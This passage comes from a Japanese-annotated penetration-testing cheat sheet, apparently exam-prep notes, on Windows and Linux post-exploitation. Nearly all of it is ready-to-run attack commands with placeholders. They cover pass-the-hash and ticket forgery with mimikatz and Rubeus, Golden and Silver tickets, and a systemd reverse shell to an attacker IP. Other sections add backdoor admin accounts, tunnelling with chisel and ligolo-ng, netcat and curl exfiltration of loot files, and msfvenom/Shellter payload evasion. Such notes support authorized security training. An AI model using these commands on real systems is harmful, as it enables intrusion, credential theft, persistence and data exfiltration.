impacket-wmiexec -hashes :<ntlmHash> '<domain>/<user>@<targetIP>'
# --- WinRM ---
evil-winrm -i <targetIP> -u '<domain\user>' -p '<password>'
evil-winrm -i <targetIP> -u '<domain\user>' -H '<ntlmHash>'
winrs -r:<target> -u:<user> -p:<pass> "<command>"
# WinRM with Certificate
## split from pfx
openssl pkcs12 -in certificate.pfx -clcerts -nokeys -out cert.pem -nodes
openssl pkcs12 -in certificate.pfx -nocerts -out key.pem -nodes
evil-winrm -i <targetIP> -c cert.pem -k key.pem -S
# --- RDP ---
xfreerdp /d:'<domain>' /u:'<user>' /p:'<pass>' /v:'<targetIP>' /dynamic-resolution /cert:ignore +clipboard
xfreerdp /d:'<domain>' /u:'<user>' /pth:'<ntlmHash>' /v:'<targetIP>' /dynamic-resolution /cert:ignore +clipboard
WMI (PowerShell CIM Session)
$secureString = ConvertTo-SecureString '<password>' -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential '<username>', $secureString
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-CimSession -ComputerName <TargetComputer> -Credential $credential -SessionOption $Options
$Command = '<base64 encoded reverse shell payload>'
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=$Command}
9.2 Pass the Hash / Ticket / Overpass
# Pass the Hash(→ 9.1 認証方式別の接続 の -hashes / -H / /pth も同義)
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlmHash> /run:powershell"
# Pass the Ticket
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
.\mimikatz.exe "kerberos::ptt <fileName>" "exit"
# Overpass the Hash(NTLM/AES256からTGT要求)
.\Rubeus.exe asktgt /user:<user> /rc4:<ntlmHash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
.\Rubeus.exe asktgt /user:<user> /aes256:<aesHash> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
9.3 Silver / Golden Ticket
Silver Ticket
# Mimikatz
.\mimikatz.exe "kerberos::golden /sid:<domainSID> /domain:<domain> /ptt /target:<targetComputer> /service:<service> /rc4:<ntlmHash> /user:<targetUser>"
# Rubeus
.\Rubeus.exe silver /service:http/<domain> /rc4:<ntlmHash> /sid:<domainSID> /ldap /user:<targetUser> /<domain> /ptt
# Kali(impacket)— NTLMハッシュ生成は 7.6 Responder / NTLM Relay
impacket-ticketer -nthash <ntlmHash> -domain-sid <domainSID> -domain <domain> -spn <service>/<domainFQDN> -user-id 500 Administrator
export KRB5CCNAME=$PWD/Administrator.ccache
Golden Ticket
# DomainSID 取得
. .\powerview.ps1 ; Get-DomainSID
# Mimikatz(krbtgt の NTLM が必要)
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "kerberos::purge" "exit"
.\mimikatz.exe "privilege::debug" "kerberos::golden /user:<targetUser> /domain:<domain> /sid:<domainSID> /krbtgt:<ntlmHash> /ptt" "misc::cmd"
# Rubeus
.\Rubeus.exe evasive-golden /aes256:<aesHash> /sid:<domainSID> /ldap /user:Administrator /printcmd
.\Rubeus.exe Evasive-Golden /aes256:<hash> /user:Administrator /id:500 /pgid:513 /domain:<domainFQDN> /sid:<domainSID> /netbios:<netbios> /groups:544,512,520,513 /dc:<dcHost>.<domainFQDN> /ptt
/etc/krb5.conf サンプル(ccache 利用時)
[libdefaults]
default_realm = LAB.INTERNAL
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
dns_canonicalize_hostname = false
fcc-mit-ticketflags = true
[realms]
LAB.INTERNAL = {
kdc = dc01.lab.internal
}
[domain_realm]
.lab.internal = LAB.INTERNAL
9.4 runas
# 資格情報マネージャの登録状況を列挙
cmdkey /list
runas /user:machine\Administrator /savecreds "rev.exe"
# 現在のシェルで実行する
.\RunasCs.exe <userName> <password> rev.exe
10. 永続化 (Persistence)
10.1 SSH鍵登録
ssh-keygen -t rsa -b 2048 -N '' -f pen200_persistence
# ターゲット側
install -D -m 600 /dev/null ~/.ssh/authorized_keys
echo "ssh-rsa AAAA... kali@kali" > ~/.ssh/authorized_keys
10.2 Linux systemd サービス
vi /etc/systemd/system/reverse.service
[Unit]
After=network-online.target
Wants=network-online.target
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<attackerIP>/<attackerPort> 0>&1'
Type=oneshot
[Install]
WantedBy=multi-user.target
sudo systemctl daemon-reload
sudo systemctl enable reverse.service
10.3
# パスワード変更
net user administrator password123!
# ユーザー追加
net user attacker password123! /add
# グループ追加
net localgroup Administrators /add attacker
11. Pivoting
11.1 SSH
# ローカルポートフォワーディング(踏み台は認証不要)
# -L <ローカルポート>:<奥のIP>:<奥のポート>
ssh -N -L 8080:192.168.11.xx:80 user@example.com
# 上記チャネル経由でSCP
scp -i id_rsa -P 8080 testuser@localhost:"/C:/Users/testuser/Desktop/flag.txt" .
# リモートポートフォワーディング(中継サーバーで実行)
ssh -N -R <attackerPort>:<remoteIP>:<remotePort> <attackerUser>@<attackerIP>
# バックグラウンド
ssh -fNR <attackerPort>:<remoteIP>:<remotePort> <attackerUser>@<attackerIP>
# ダイナミックポートフォワーディング(SOCKS)
ssh -fND 127.0.0.1:1080 <username>@<targetIP> -p <port>
# proxychains経由(SOCKSはTCP確立必須なので -sT)
proxychains nmap -sT -Pn <internalTargetIP>
# リバースダイナミックポートフォワーディング(中継サーバーで実行)
ssh -fNR 1080 kali@<kaliIP>
proxychains 設定(/etc/proxychains4.conf)
tcp_read_time_out 150
tcp_connect_time_out 80
[ProxyList]
socks5 127.0.0.1 1080
11.2 Chisel
# ローカル: [Kali Client] -> (Ext:6601)[Server] -> Int
## Ext
chisel server --port 6601
## Kali
chisel client <ExtIP>:6601 127.0.0.1:6600:<IntIP>:8080
# リモート: [Kali Server] <- [Ext Client] -> Int
## Kali
chisel server --reverse --port 6601
## Ext
chisel client <KaliIP>:6601 R:6600:<IntIP>:8080
# ダイナミック(SOCKS)
## Ext
chisel server --socks5 --port 6601
## Kali
chisel client <ExtIP>:6601 1080:socks
# リバースダイナミック
## Kali
chisel server --reverse --port 6600
## Ext
chisel client <KaliIP>:6600 R:1080:socks
11.3 ligolo-ng
WebUI デフォルト: URL http://127.0.0.1:8080 / User ligolo / Pass password
# Init
sudo ./ligolo-ng_proxy -selfcert
## Victim
Start-Process "ligolo-ng_agent_win.exe" -ArgumentList "-connect <listenIP>:11601 -ignore-cert"
./ligolo-ng_agent_linux -connect <listenIP>:11601 -ignore-cert
# SetUp
interface_create --name "pwk"
session
tunnel_start --tun pwk
interface_add_route --name pwk --route 240.0.0.1/32 #240.0.0.1/32は特殊ルーティングでAgentを動かしている端末宛になる
# --- Local Port Forwarding(対象セッション上で) ---
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80
# --- Remote Port Forwarding(agent上のポートへ) ---
mysql -h 240.0.0.1 -P 3306 -u root -p
# --- Reverse Dynamic Port Forwarding ---
# --addr: agent側, --to: Kali側
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
11.4 Metasploit でのピボット
# 自動ルーティング
route add <CIDR> <SESSION_NUM>
use multi/manage/autoroute
set session <SESSION_NUM>
run
# SOCKSプロキシ
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 5
run -j
# ポートフォワード
portfwd add -l 3389 -p 3389 -r <Internal_IP>
12. データ持ち出し (Exfiltration)
# --- netcat ---
## 受信側
nc -lnvp <listenPort> > recv_file.txt
## 送信側
nc <listenIP> <listenPort> < secret.txt
# --- HTTP uploadserver(ターゲットからのアップロードを受ける)---
python3 -m venv uploadServer
source uploadServer/bin/activate
pip3 install uploadserver
python3 -m uploadserver
# ターゲット側
curl.exe -X POST http://<attackerIP>:8000/upload -F "files=@C:\Users\Public\loot.zip"
一般的なファイル転送は 4.2 ファイル転送(統合) を参照。
13. 防御回避 (Defense Evasion)
13.1 PowerShell リフレクション
挙動: ①アンマネージドメモリ割当 → ②Base64シェルコードをデコードして転送 → ③動的アセンブリ構築・実行。
msfvenom -p windows/shell_reverse_tcp LHOST=<listenIP> LPORT=<listenPort> -f psh-reflection
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
# <place shellcode here>
# 実行ポリシー
Get-ExecutionPolicy -Scope CurrentUser
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
13.2 Shellter(既存EXEへのシェルコード注入)
32bit版 EXE のみ対応。
shellter
# A(オートモード) / PETarget にEXEフルパス / ステルスモード Y / ペイロード L,1,Kali IP/Port
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <listenIP>;set LPORT 443;run;"
付録 (Appendix)
A.1 icacls の権限フラグ
| フラグ | 権限 | Full Description |
|---|---|---|
| F | フル | Full Access |
| M | 変更 | Modify |
| RX | 読み取りと実行 | Read eXecute |
| R | 読み取り専用 | Read |
| W | 書き込み専用 | Write |
| OI | オブジェクトの継承 | Object Inherit |
| CI | コンテナの継承 | Container Inherit |
| IO | 継承のみ | Inherit Only |
| AD | アクセス拒否 | Access Denied |
| I | 継承された権限 | Inherited |
ACE の正規順序: 明示的拒否 → 明示的許可 → 継承された拒否 → 継承された許可。
特定権限(かっこ内コンマ区切り)の主なもの: DE削除 / RC読み取り制御 / WDACDAC書込 / WO所有者書込 / GR/GW/GE/GA一般read/write/execute/all / RDデータ読取 / WDデータ書込 / X実行 / RA/WA属性読取・書込。継承指定: (OI)(CI)(IO)(NP)(I)。
A.2 パスワードハッシュ解析の補足
- オンライン解析: CrackStation / hashes.com
- 詳細な hashcat / john の使い方は 7.6 Responder / NTLM Relay に統合。
A.3 指定のpythonバージョンインストール
pyenv install --list | grep <version>
# install
pyenv install 3.12.14
# use specific version
pyenv shell 3.12.14
rehash
python -m venv venv_3.12.14
# back
pyenv shell system
rehash